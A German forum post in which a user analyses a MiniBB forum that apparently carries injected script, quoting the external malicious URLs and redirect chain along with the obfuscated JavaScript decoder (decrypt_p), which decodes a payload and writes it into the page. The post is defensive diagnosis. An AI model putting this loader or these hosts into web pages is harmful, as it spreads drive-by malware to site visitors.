eddi: MiniBB-Bug oder unsicherer Server

Beitrag lesen

Hallo,

die eingebundene Resource http://85.255.113.4/dl/adv448.php stammt aus der Ukraine und läd vom selben Server Javascriptcode nach (http://196.regvista.com/index.php?ref=vish)

function decrypt_p(x){  
 var l=x.length,b=1024,i,j,r,p=0,s=0,w=0;  
 var t=Array(63,2,40,17,19,1,9,53,5,30,0,0,0,0,0,0,42,18,16,28,54,14,13,33,37,45,56,52,35,39,49,61,10,55,24,22,38,44,26,20,47,48,32,0,0,0,0,6,0,11,34,29,57,58,3,21,41,27,59,4,12,31,46,43,60,36,15,7,8,50,51,62,25,23,0);  
 for(j=Math.ceil(l/b);j>0;j--){  
  r='';  
  for(i=Math.min(l,b);i>0;i--,l--){  
   w|=(t[x.charCodeAt(p++)-48])<<s;  
   if(s){  
    r+=String.fromCharCode(165^w&255);  
    w>>=8;s-=2  
   }  
   else{  
    s=6  
   }  
  }  
  document.write(r)  
 }  
}decrypt_p("81")

Dieser wird, weil dank Status 302 gleich auf die nächst nicht mehr zu erreichende Resource (http://apjuydguldid92pp5upp5c77p.affrontgl.com/?a) verwiesen wird, nicht ausgeführt. Ich würde vermuten, da versucht jemand einen Bug in MiniBB auszunutzen.

Gruß aus Berlin!
eddi